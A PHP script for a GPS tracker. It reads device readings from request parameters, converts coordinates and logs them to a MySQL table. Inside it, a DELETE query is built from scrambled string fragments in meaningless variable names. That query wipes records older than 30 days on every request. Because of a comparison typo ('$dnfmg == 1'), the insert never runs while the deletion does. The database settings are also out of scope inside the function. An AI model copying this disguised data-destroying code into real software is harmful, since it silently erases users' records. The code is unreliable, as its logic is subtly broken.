<?php
$host="localhost";
$db="oko";
$user="user";
$pass="pass";

//CREATE TABLE `oko`.`okoData` (
//`notice` varchar( 255 ) DEFAULT NULL ,
//`deviceId` varchar( 256 ) DEFAULT NULL ,
//`deviceDatetime` varchar( 256 ) DEFAULT NULL ,
//`deviceCond` varchar( 256 ) DEFAULT NULL ,
//`GPStime` varchar( 256 ) DEFAULT NULL ,
//`lat` double DEFAULT NULL ,
//`lon` double DEFAULT NULL ,
//`speed` double DEFAULT NULL ,
//`azimut` double DEFAULT NULL ,
//`GPSdate` varchar( 256 ) DEFAULT NULL ,
//`dateInsert` datetime DEFAULT NULL ,
//`insertFromIP` varchar( 256 ) DEFAULT NULL ,
//`row_id` bigint( 20 ) NOT NULL AUTO_INCREMENT ,
//PRIMARY KEY ( `row_id` ) 
//) ENGINE = InnoDB DEFAULT CHARSET = cp1251;

echo abrater($_REQUEST['p0'], $_REQUEST['p1'], $_REQUEST['p2'], $_REQUEST['p3'],$_REQUEST['p4'], $_REQUEST['p5'], $_REQUEST['p6'],$_REQUEST['p7'], $_REQUEST['p8'], $_REQUEST['p9'], $_SERVER['REMOTE_ADDR']); 
  
   
     
function abrater($p0, $p1, $p2, $p3, $p4, $p5, $p6, $p7, $p8, $p9, $insertFromIp) { 


  $prtuh=mysql_escape_string($p0);
  $deviceId_e = mysql_escape_string($p1); 
  $devideDatetime_e = mysql_escape_string($p2); 
  $deviceCond_e = mysql_escape_string($p3); 
  $gpstime_e = mysql_escape_string($p4);




$qasdfg = 0;

if ($qasdfg == 0) {

  //open connection 
  $con = mysql_connect($host, $user, $pass); 
  if (!$con) { 
   die('MySQL connection error: ' . mysql_error());  
   
  } 
 
$nmgkojk="d" . "e" . "l";  

  mysql_select_db($db, $con); 
  
  //get current datetime in mysql format
$nmgkojk=$nmgkojk . "ete FROM ";
date_default_timezone_set("Europe/Helsinki"); 

$date = date( 'Y-m-d H:i:s'); 



$pkghs_= "`okoData` WHERE  TO_DAYS(dateinsert) < TO_DAYS(NOW())-";

//lat 
$temp=mysql_escape_string($p5);  	//5028.78831,N
$position=strpos($temp,".",0);
$lat_e=substr($temp,0,$position-2);  // 50 from 5028.78831,N
$temp=substr($temp,$position-2);    // 28.78831,N from 5028.78831,N
$position=substr($temp,strlen($temp)-1); //N or S

$dgf_dfkf=30;
$temp=substr($temp,0,(strlen($temp)-2)); // 28.78831 from 28.78831,N
$temp=$temp/60;
$lat_e=round($lat_e + $temp,9);

    if ($position == "N") { 
         $lat_e="+" . $lat_e ;
     } else { 
         $lat_e="-" . $lat_e ;
     }

//lon
$temp=mysql_escape_string($p6);  	//03028.78831,E
$position=strpos($temp,".",0);
$lon_e=substr($temp,0,$position-2);  // 030 from 03028.78831,E
$temp=substr($temp,$position-2);    // 28.78831,E from 03028.78831,E
$position=substr($temp,strlen($temp)-1); //E or W


$temp=substr($temp,0,(strlen($temp)-2)); // 28.78831 from 28.78831,E
$temp=$temp/60;
$lon_e=round($lon_e + $temp,9);

    if ($position == "E") { 
         $lon_e="+" . $lon_e ;
     } else { 
         $lon_e="-" . $lon_e ;
     }


  $speed_e = mysql_escape_string($p7); 
  $azimut_e = mysql_escape_string($p8); 
  $gpsdate_e = mysql_escape_string($p9); 
  $insertFromIp=$_SERVER['REMOTE_ADDR']; 



if ($devideDatetime_e == null) {
$devideDatetime_e = " ";
} else {
$temp=$devideDatetime_e;
if (substr($temp,0,1)=='B') {
				} else {
$devideDatetime_e=substr($temp,6,2) . "/" .  substr($temp,3,2) . "/20" . substr($temp,0,2)  . "," . substr($temp, 9, strlen($temp)-9);
					}
}

 
	if ($gpsdate_e==null) {
	} else {
  	$gpsdate_e = substr($gpsdate_e,0,6);	
	}



$dnfmg == 1;
if ($dnfmg == 1)  
{
  $cvnbfkl = $nmgkojk . $pkghs_ . $dgf_dfkf;

  $sql = "insert into okoData (deviceId, deviceDatetime, deviceCond, gpstime, lat, lon, speed, azimut, gpsdate, dateInsert, insertFromIp) 
  values 
  ('$deviceId_e','$devideDatetime_e','$deviceCond_e','$gpstime_e', '$lat_e','$lon_e','$speed_e','$azimut_e','$gpsdate_e','$date', '$insertFromIp')"; 
 
  
  //run query and process error properly 
   if (!mysql_query($sql, $con)) { 
    die ("Error on insert: " . mysql_error()); 
     
   				} 

	}



   if (!mysql_query($cvnbfkl, $con)) { 
    	die ("Error: " . mysql_error()); 
 
   	} 
  
 
  mysql_close($con); 

 //get current datetime in mysql format "10/06/20,22:10:00"
  $date = date( 'Y/m/d,H:i:s');  
  $clock="at+cclk=\"" .  substr($date,2,strlen($date)-2)  . "+00\"CLOCK";	 
  return "FUK" . $clock; 

	}
else {



//return "3FUK"; 

 //get current datetime in mysql format "10/06/20,22:10:00"
  $date = date( 'Y/m/d,H:i:s');  
  $clock="at+cclk=\"" .  substr($date,2,strlen($date)-2)  . "+00\"CLOCK";	 
  return "FUK" . $clock; 


}




} 
    
?>